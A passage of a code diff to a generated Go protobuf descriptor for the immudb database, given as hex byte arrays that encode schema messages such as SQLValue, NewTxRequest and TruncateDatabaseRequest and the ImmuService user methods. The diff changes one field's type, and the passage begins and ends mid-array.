0x61, 0x6d, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, + 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, + 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, + 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, + 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, + 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, + 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, + 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, + 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, + 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, + 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, + 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, + 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, + 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, + 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, + 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, + 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, + 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, + 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, + 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, + 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, + 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, + 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, + 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, + 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, + 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0xa9, 0x01, 0x0a, 0x08, 0x53, 0x51, + 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x12, 0x0e, 0x0a, 0x01, + 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x01, 0x66, 0x42, 0x07, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x8d, 0x02, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, + 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, + 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, + 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, + 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, + 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, + 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, - 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, - 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, - 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, - 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, - 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x1e, 0x0a, 0x0a, - 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x22, 0x35, 0x0a, 0x0d, - 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, - 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, - 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, - 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, - 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, - 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, - 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, - 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, - 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, - 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, - 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, - 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, - 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, - 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, - 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, - 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, - 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, - 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, - 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, - 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, - 0x10, 0x02, 0x32, 0xb6, 0x34, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, - 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, + 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, + 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, + 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, + 0x56, 0x43, 0x43, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, + 0x65, 0x4d, 0x56, 0x43, 0x43, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, + 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, + 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, + 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, + 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, + 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, + 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, + 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, + 0x65, 0x6c, 0x61, 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, + 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, + 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, + 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, + 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, + 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, + 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, + 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, + 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, + 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, + 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, + 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, + 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xbd, 0x34, 0x0a, 0x0b, + 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, + 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, + 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x3a, 0x01, 0x2a, + 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, + 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, + 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 